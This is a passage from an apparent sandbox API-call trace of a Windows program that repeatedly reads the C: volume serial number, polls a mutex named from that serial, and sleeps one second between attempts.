lpDst=0x6db2c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.166] GetProcessHeap () returned 0x6a0000 [0266.166] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0266.166] GetProcessHeap () returned 0x6a0000 [0266.166] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0266.166] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.167] GetProcessHeap () returned 0x6a0000 [0266.167] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0266.167] GetProcessHeap () returned 0x6a0000 [0266.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0266.167] GetProcessHeap () returned 0x6a0000 [0266.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0266.167] GetProcessHeap () returned 0x6a0000 [0266.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0266.167] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0266.167] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0266.167] CloseHandle (hObject=0x200) returned 1 [0266.168] GetProcessHeap () returned 0x6a0000 [0266.168] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0266.168] GetProcessHeap () returned 0x6a0000 [0266.168] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0266.168] Sleep (dwMilliseconds=0x3e8) [0267.236] GetProcessHeap () returned 0x6a0000 [0267.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db2c8 [0267.236] GetProcessHeap () returned 0x6a0000 [0267.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0267.236] GetProcessHeap () returned 0x6a0000 [0267.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0267.236] GetProcessHeap () returned 0x6a0000 [0267.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0267.236] GetProcessHeap () returned 0x6a0000 [0267.236] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0267.236] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0267.236] GetProcessHeap () returned 0x6a0000 [0267.236] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0267.236] GetProcessHeap () returned 0x6a0000 [0267.236] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0267.236] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0267.237] GetProcessHeap () returned 0x6a0000 [0267.237] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0267.237] GetProcessHeap () returned 0x6a0000 [0267.237] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0267.237] GetProcessHeap () returned 0x6a0000 [0267.237] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0267.237] GetProcessHeap () returned 0x6a0000 [0267.237] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0267.237] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0267.237] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0267.237] CloseHandle (hObject=0x200) returned 1 [0267.237] GetProcessHeap () returned 0x6a0000 [0267.237] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0267.237] GetProcessHeap () returned 0x6a0000 [0267.237] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0267.237] Sleep (dwMilliseconds=0x3e8) [0268.366] GetProcessHeap () returned 0x6a0000 [0268.366] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0268.366] GetProcessHeap () returned 0x6a0000 [0268.366] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db2c8 [0268.367] GetProcessHeap () returned 0x6a0000 [0268.367] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0268.367] GetProcessHeap () returned 0x6a0000 [0268.367] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0268.367] GetProcessHeap () returned 0x6a0000 [0268.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0268.367] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db2c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0268.367] GetProcessHeap () returned 0x6a0000 [0268.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0268.367] GetProcessHeap () returned 0x6a0000 [0268.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0268.367] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0268.367] GetProcessHeap () returned 0x6a0000 [0268.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0268.367] GetProcessHeap () returned 0x6a0000 [0268.367] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0268.368] GetProcessHeap () returned 0x6a0000 [0268.368] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0268.368] GetProcessHeap () returned 0x6a0000 [0268.368] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0268.368] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0268.368] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0268.368] CloseHandle (hObject=0x200) returned 1 [0268.368] GetProcessHeap () returned 0x6a0000 [0268.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0268.368] GetProcessHeap () returned 0x6a0000 [0268.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0268.368] Sleep (dwMilliseconds=0x3e8) [0269.497] GetProcessHeap () returned 0x6a0000 [0269.497] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0269.497] GetProcessHeap () returned 0x6a0000 [0269.497] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0269.497] GetProcessHeap () returned 0x6a0000 [0269.497] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db2c8 [0269.497] GetProcessHeap () returned 0x6a0000 [0269.497] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0269.497] GetProcessHeap () returned 0x6a0000 [0269.497] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0269.497] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0269.497] GetProcessHeap () returned 0x6a0000 [0269.497] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0269.498] GetProcessHeap () returned 0x6a0000 [0269.498] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0269.498] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0269.498] GetProcessHeap () returned 0x6a0000 [0269.498] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0269.498] GetProcessHeap () returned 0x6a0000 [0269.498] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0269.498] GetProcessHeap () returned 0x6a0000 [0269.498] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0269.498] GetProcessHeap () returned 0x6a0000 [0269.498] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0269.498] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x134 [0269.498] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x0) returned 0x102 [0269.498] CloseHandle (hObject=0x134) returned 1 [0269.498] GetProcessHeap () returned 0x6a0000 [0269.498] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0269.498] GetProcessHeap () returned 0x6a0000 [0269.498] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0269.499] Sleep (dwMilliseconds=0x3e8) [0270.923] GetProcessHeap () returned 0x6a0000 [0270.923] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0270.923] GetProcessHeap () returned 0x6a0000 [0270.923] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0270.923] GetProcessHeap () returned 0x6a0000 [0270.923] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db2c8 [0270.923] GetProcessHeap () returned 0x6a0000 [0270.923] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0270.923] GetProcessHeap () returned 0x6a0000 [0270.923] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0270.923] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0270.924] GetProcessHeap () returned 0x6a0000 [0270.924] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2c8 | out: hHeap=0x6a0000) returned 1 [0270.924] GetProcessHeap () returned 0x6a0000 [0270.924] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0270.924] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0270.924] GetProcessHeap () returned 0x6a0000 [0270.924] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0270.924] GetProcessHeap () returned 0x6a0000 [0270.924] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0270.924] GetProcessHeap () returned 0x6a0000 [0270.924] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0270.924] GetProcessHeap () returned 0x6a0000 [0270.924] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0270.924] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x134 [0270.925] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x0) returned 0x102 [0270.925] CloseHandle (hObject=0x134) returned 1 [0270.925] GetProcessHeap () returned 0x6a0000 [0270.925] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0270.925] GetProcessHeap () returned 0x6a0000 [0270.925] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0270.925] Sleep (dwMilliseconds=0x3e8) [0272.042] GetProcessHeap () returned 0x6a0000 [0272.042] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba4d8 [0272.042] GetProcessHeap () returned 0x6a0000 [0272.042] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba578 [0272.042] GetProcessHeap () returned 0x6a0000 [0272.042] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba5a0 [0272.042] GetProcessHeap () returned 0x6a0000 [0272.042] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0272.042] GetProcessHeap () returned 0x6a0000 [0272.042] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0272.042] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba578, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0272.043] GetProcessHeap () returned 0x6a0000 [0272.043] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5a0 | out: hHeap=0x6a0000) returned 1 [0272.043] GetProcessHeap () returned 0x6a0000 [0272.043] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0272.043] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0272.043] GetProcessHeap () returned 0x6a0000 [0272.043] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0272.043] GetProcessHeap () returned 0x6a0000 [0272.043] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0272.043] GetProcessHeap () returned 0x6a0000 [0272.043] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0272.043] GetProcessHeap () returned 0x6a0000 [0272.043] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b0230 [0272.043] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0272.044] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0272.044] CloseHandle (hObject=0x1a0) returned 1 [0272.044] GetProcessHeap () returned 0x6a0000 [0272.044] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0272.044] GetProcessHeap () returned 0x6a0000 [0272.044] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0230 | out: hHeap=0x6a0000) returned 1 [0272.044] Sleep (dwMilliseconds=0x3e8) [0273.217] GetProcessHeap () returned 0x6a0000 [0273.217] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba578 [0273.217] GetProcessHeap () returned 0x6a0000 [0273.217] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba4d8 [0273.217] GetProcessHeap () returned 0x6a0000 [0273.217] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba5a0 [0273.217] GetProcessHeap () returned 0x6a0000 [0273.217] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0273.217] GetProcessHeap () returned 0x6a0000 [0273.217] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0273.217] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba4d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0273.217] GetProcessHeap () returned 0x6a0000 [0273.217] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5a0 | out: hHeap=0x6a0000) returned 1 [0273.218] GetProcessHeap () returned 0x6a0000 [0273.218] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0273.218] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0273.218] GetProcessHeap () returned 0x6a0000 [0273.218] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0273.218] GetProcessHeap () returned 0x6a0000 [0273.218] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0273.218] GetProcessHeap () returned 0x6a0000 [0273.218] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0273.218] GetProcessHeap () returned 0x6a0000 [0273.218] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b0230 [0273.218] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0273.218] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0273.219] CloseHandle (hObject=0x1a0) returned 1 [0273.219] GetProcessHeap () returned 0x6a0000 [0273.219] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0273.219] GetProcessHeap () returned 0x6a0000 [0273.219] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0230 | out: hHeap=0x6a0000) returned 1 [0273.219] Sleep (dwMilliseconds=0x3e8) [0274.318] GetProcessHeap () returned 0x6a0000 [0274.318] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba4d8 [0274.318] GetProcessHeap () returned 0x6a0000 [0274.318] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba578 [0274.318] GetProcessHeap () returned 0x6a0000 [0274.318] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba5a0 [0274.318] GetProcessHeap () returned 0x6a0000 [0274.318] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0274.319] GetProcessHeap () returned 0x6a0000 [0274.319] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0274.319] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba578, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.319] GetProcessHeap () returned 0x6a0000 [0274.319] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5a0 | out: hHeap=0x6a0000) returned 1 [0274.319] GetProcessHeap () returned 0x6a0000 [0274.319] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0274.319] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.319] GetProcessHeap () returned 0x6a0000 [0274.319] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0274.319] GetProcessHeap () returned 0x6a0000 [0274.319] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0274.319] GetProcessHeap () returned 0x6a0000 [0274.319] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0274.319] GetProcessHeap () returned 0x6a0000 [0274.319] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b0230 [0274.319] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0274.320] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0274.320] CloseHandle (hObject=0x1a0) returned 1 [0274.320] GetProcessHeap () returned 0x6a0000 [0274.320] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0274.320] GetProcessHeap () returned 0x6a0000 [0274.320] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0230 | out: hHeap=0x6a0000) returned 1 [0274.320] Sleep (dwMilliseconds=0x3e8) [0275.395] GetProcessHeap () returned 0x6a0000 [0275.395] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba578 [0275.395] GetProcessHeap () returned 0x6a0000 [0275.395] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba4d8 [0275.395] GetProcessHeap () returned 0x6a0000 [0275.395] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba5a0 [0275.395] GetProcessHeap () returned 0x6a0000 [0275.395] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0275.395] GetProcessHeap () returned 0x6a0000 [0275.395] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0275.395] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba4d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0275.395] GetProcessHeap () returned 0x6a0000 [0275.395] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5a0 | out: hHeap=0x6a0000) returned 1 [0275.395] GetProcessHeap () returned 0x6a0000 [0275.395] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba578 | out: hHeap=0x6a0000) returned 1 [0275.395] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0275.397] GetProcessHeap () returned 0x6a0000 [0275.397] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0275.397] GetProcessHeap () returned 0x6a0000 [0275.397] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0275.397] GetProcessHeap () returned 0x6a0000 [0275.397] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0275.397] GetProcessHeap () returned 0x6a0000 [0275.397] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b0230 [0275.397] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0275.397] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0275.397] CloseHandle (hObject=0x1a0) returned 1 [0275.397] GetProcessHeap () returned 0x6a0000 [0275.397] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0275.397] GetProcessHeap () returned 0x6a0000 [0275.397] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0230 | out: hHeap=0x6a0000) returned 1 [0275.397] Sleep (dwMilliseconds=0x3e8) [0276.523] GetProcessHeap () returned 0x6a0000 [0276.523] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba4d8 [0276.523] GetProcessHeap () returned 0x6a0000 [0276.523] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba578 [0276.523] GetProcessHeap () returned 0x6a0000 [0276.523] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba5a0 [0276.523] GetProcessHeap () returned 0x6a0000 [0276.523] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0276.523] GetProcessHeap () returned 0x6a0000 [0276.523] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0276.523] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba578, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0276.523] GetProcessHeap () returned 0x6a0000 [0276.523] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5a0 | out: hHeap=0x6a0000) returned 1 [0276.524] GetProcessHeap () returned 0x6a0000 [0276.524] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: 